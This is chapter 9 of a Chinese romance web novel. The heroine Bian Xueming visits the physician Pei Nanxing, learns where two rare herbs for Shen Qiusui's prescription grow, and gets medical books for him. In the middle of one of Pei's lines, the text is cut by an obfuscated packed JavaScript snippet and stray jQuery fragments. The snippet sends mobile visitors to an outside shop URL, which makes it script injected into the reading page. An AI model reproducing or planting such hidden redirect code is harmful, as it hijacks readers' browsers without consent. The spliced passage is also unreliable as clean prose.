9. 第 9 章
    “小姐,咱们去哪呀。”将军府门口,青竹一边往马车上爬一边问道。

    “去裴老先生在的医馆!”边雪明指挥道。

    “好嘞,小姐坐稳了。”马夫一扬鞭子,马车便在路上咕噜咕噜跑了起来。

    “小姐为何要去找裴老先生?秋绥公子这不是好好的吗?”青竹疑惑道。

    “秋绥哥哥不是一直在看医书嘛,但他也没有个师父教他,我便想去问问裴老先生是否还收徒,如若不能,讨些医书也是好的。”边雪明笑得见牙不见眼。

    青竹瞧着她这一副不值钱的样子,心中有些烦闷,自家小姐这才多大呢,就开始有心上人了。

    事实上,大齐男女在十六岁多的是定亲的,可青竹等人是看着边雪明长大的,将军府众人十几年就这么一个主子,而这位主子一直是副没心没肺,只知道玩的小孩子心性,这般突然的对一个男子表现出喜爱,甚至让人找来所谓到底春药想要强迫于人,更是让府内众人难以接受。

    府内奴仆向来没大没小惯了,可到底是知道什么能做,什么不能做,便未曾真正找那种药,只随意找了与沈秋绥的药不冲突的补药,磨成粉,装作那是媚药交予她。

    可未曾想到,那药竟然被调了包,换成了真正的媚药,彼时江嬷嬷便将知情的奴仆全都罚了一遍,包括青竹。

    她还被罚了半年的月银呢,那出卖小姐的奴仆更是被直接被毒哑了嗓子发卖了。

    只是到底是何人谋划的此事,江嬷嬷还未曾调查出来,这段时间可谓是愁的她头疼。

    “小姐,你就这般喜欢秋绥公子吗?”青竹问道。

    “对呀,我呀,是想和秋绥哥哥当夫妻的。”边雪明做西子捧心状,笑道。

    “噫~”青竹一激灵,“小姐不是刚与他认识半月么?”

    “哎呀,这叫一见钟情,青竹你懂不懂!”边雪明斜了她一眼。

    青竹拍了拍身上的鸡皮疙瘩,道:“哦~一见钟情呀~”

    “哎呀!青竹你真是!打趣起你家小姐来了!”边雪明推搡着青竹。

    青竹在马车里晃悠着,发出银铃般的笑声:“错了错了!青竹再也不敢了!”

    医馆离将军府算不上远,很快便到了。

    边雪明站在医馆外细细瞧了一眼,却未曾见到裴南星,她看了看药柜前的小药童,问道:“请问裴老先生在吗?”

    小药童一边分着晒干的药材,一边喊道:“段姐姐!有人找老先生!”

    帘后一震劈里啪啦响,一个身材小巧的女子连滚带爬地摔了出来,那小药童连忙撒下手中的药材,冲上前将她扶起来。

    “没事没事,谢谢小三七。”那女子就着他的手站起身来,摸了摸他的脑袋,笑道。

    “段姐姐你老是这样,一惊一乍的。”三七回到自己的药柜前,说道。

    “是是是,小三七说的是,姐姐下次一定改。”她拍了拍手,方才看向边雪明说道,“在下段空青,不知姑娘找家师何事?”

    段空青较之边雪明矮了一整个头,此时正掐着腰看着她,那双明亮的大眼睛中带着些许戒备。

    边雪明拿出那张药方,说道:“来找老先生是想问问这张药方上的两种药材,我打听了许久未曾打听到任何消息,想问问老先生是否有头目。”

    “什么药方?我看看。”段空青伸出手,道。

    边雪明边疆药方轻轻放在她的手中,总归是在裴老先生的医馆,不怕人跑。

    段空青粗略看了眼,猛地抬头道:“师父竟然将这副药方给你了!这可是他老人家珍藏的!曾经可是说过这世上没人能用这个药方的!”

    边雪明愣了愣神,良久才道:“为何会如此说?”

    段空青只将药方扔回边雪明手中,未曾答话,转身向前走去,在帘子那回头招了招手,道,“过来吧。”

    边雪明双眸一亮,也不追问,只连忙带着青竹跟了上去。

    “师父!有人找!”段空青一路走一路喊道。

    穿过堆满药材和杂物的小屋,来到医馆后院,只见院子里到处是处理药材的工具,甚至在院子中央有着一小片药田,种着各不相同的药材。

    “师父!”段空青还在喊,而耳尖的边雪明已经听到了那堆工具后传来的动静。

    “段姑娘。”她小声喊道,待段空青回头后,她指了指那堆工具,“在那边呢。”

    段空青差异地看了她一眼,走到那处,只见裴南星正藏在那后头,手中拿着某种叫不上名的药材。

    “师父。”段空青悠悠地喊道,“为什么不理我。”

    裴南星惊悚回头,叼在口中的某种药材还未曾咽下,段空青一把将其揪出来,气急败坏喊道:“师父你又这么试药!是药三分毒知不知道!说了多少遍了!别什么东西都往嘴里放!怎么说不听呢?”

    裴南星露出一个讨好的笑容,说道:“没有下次了,没有下次了。”

    边雪明扑哧一下笑出声来,这二人,还真不愧是师徒,说的话都一模一样。

    二人一愣,段空青这才想起来身后还有个人,当即说道:“师父,有人拿着你写的那套药方来找你。”

    裴南星站起身来,朝着外头走去,看见边雪明时不由得愣了一下,问道:“这就找齐了?”

    “尚未。”边雪明行了个礼,走上前,将那药方举到裴南星眼前,指着两个被圈起来的药名,说道,“这两种药材,我从未听说过,安排出去的人也未曾打听到,不知裴老先生可否解惑,这二者应当去何处寻找?”

    裴南星捋着胡子,说道:“这血精草长自南疆深山的沼泽地,那地方毒虫肆虐,稍有不慎便是尸骨无存,但你若能找到南疆分散在深山的蛊族,说不定能得到此物,她们生来便与毒虫共存,最是不怕这些,只是要如何寻到她们,如何从她们手中获得此物,便是你要考虑的事了。”

    边雪明点头道:“是,雪明记住了,那这墨叶莲又是何物?”

    “这墨叶莲是天山雪莲的变种,正常的天山雪莲通体雪白,又祛湿补阳之效,而墨叶连千朵天山雪莲中方才出一朵,药效较之天山雪莲更为温和,专治先天不足之症,此物生长于西疆祁连山脉,但据我所知,西疆节度使曾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098134|149673||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上供过一株墨叶莲于当今圣上,姑娘要么前往西疆碰运气,要么便想法子自圣上手中要这东西吧。”裴南星笑眯眯地看着边雪明,说道。

    边雪明若有所思,先不说血精草之难寻,可这墨叶莲既然已经有了眉目,还在当今圣上手中,那她便要想些法子,立功或是让皇帝有愧于她,方才有机会得这一味药。

    “那敢问老先生若是这药方短时间内凑不齐,秋绥哥哥的身体是否能撑住?”

    “他如今身体还算不错,但他思虑过多,有道是心病还需心药医,若是心病不得治,他身体便会急速衰退,届时神药难医。”裴南星说道。“最多五年,你必须凑齐这些药材。”

    边雪明想到,上一世不过三年,秋绥哥哥便已经病入膏肓,只怕缘由便是她那一碗药和那次强娶他,一个诱发身体疾病,一个诱发心病,这才早早逝去。

    只是,秋绥哥哥的心病到底是什么呢?

    他虽是生来便没有母亲,可父亲格外爱护他,怕后娘待他不好,便未曾再娶,一个人又当爹又当妈将他拉扯大,他应当是不缺爱的。可他的心病若是父亲的身死,她又该怎么办?这是她无论如何也改变不了的。

    “姑娘可是还有什么要问的?”见边雪明许久不曾言语,裴南星便道。

    边雪明回过神来,连忙问道:“不知裴老先生是否收徒?我家那位公子哥对医术兴趣极大,可他这么久也只是自学,未曾有过师父,我担心他学岔了。”

    裴南星本想摆手,却转念一想,问道:“上次那位小公子?”

    边雪明眼眸一亮,点头如捣蒜:“对!就是他!”

    裴南星沉默了许久,一双深邃温和的眼睛中竟透露着些许泪光,他长长地叹了一口气,说道:“下次,你带他来吧。”

    边雪明脸上露出一抹微笑,说道:“好!那老先生,可否借些医书予我,我带给秋绥哥哥看!”

    “你这丫头。”裴南星看着她,也笑了,伸手招呼着段空青,道,“空青,带她去取些医书吧,基础的,复杂的都取两本。”

    段空青点头,走到边雪明面前道:“边姑娘,请。”

    取完医书,边雪明方才想起什么,连忙将袖子中的小盒取出,递给段空青,道:“劳烦姑娘代我将此物交予裴老先生。”

    段空青接过后,边雪明便带着青竹登上马车回府了。

    边雪明一下马车,便直奔霁月轩,将手中几本医书交予了沈秋绥,边雪明几乎从未在他眼中看到过如此浓烈的情绪。

    欣喜,纠结,哀伤交织在一起,几乎让他整个人都碎裂开来。

    边雪明当即便急了,只道:“秋绥哥哥可是不喜?对不起,我该先问过你的,对不起。”、

    沈秋绥却是摇头,说道:“谢谢你,雪明。”

    眼神中却是挥之不去的痛苦。

    边雪明看不懂,也不敢问,二人在霁月轩用了有史以来最沉默的一顿饭。

    饭后未曾过多久,彼时天还有着微微亮光,有小厮连滚带爬地跑了进来。

    “小姐!秋绥公子!咱们木少爷中探花啦!”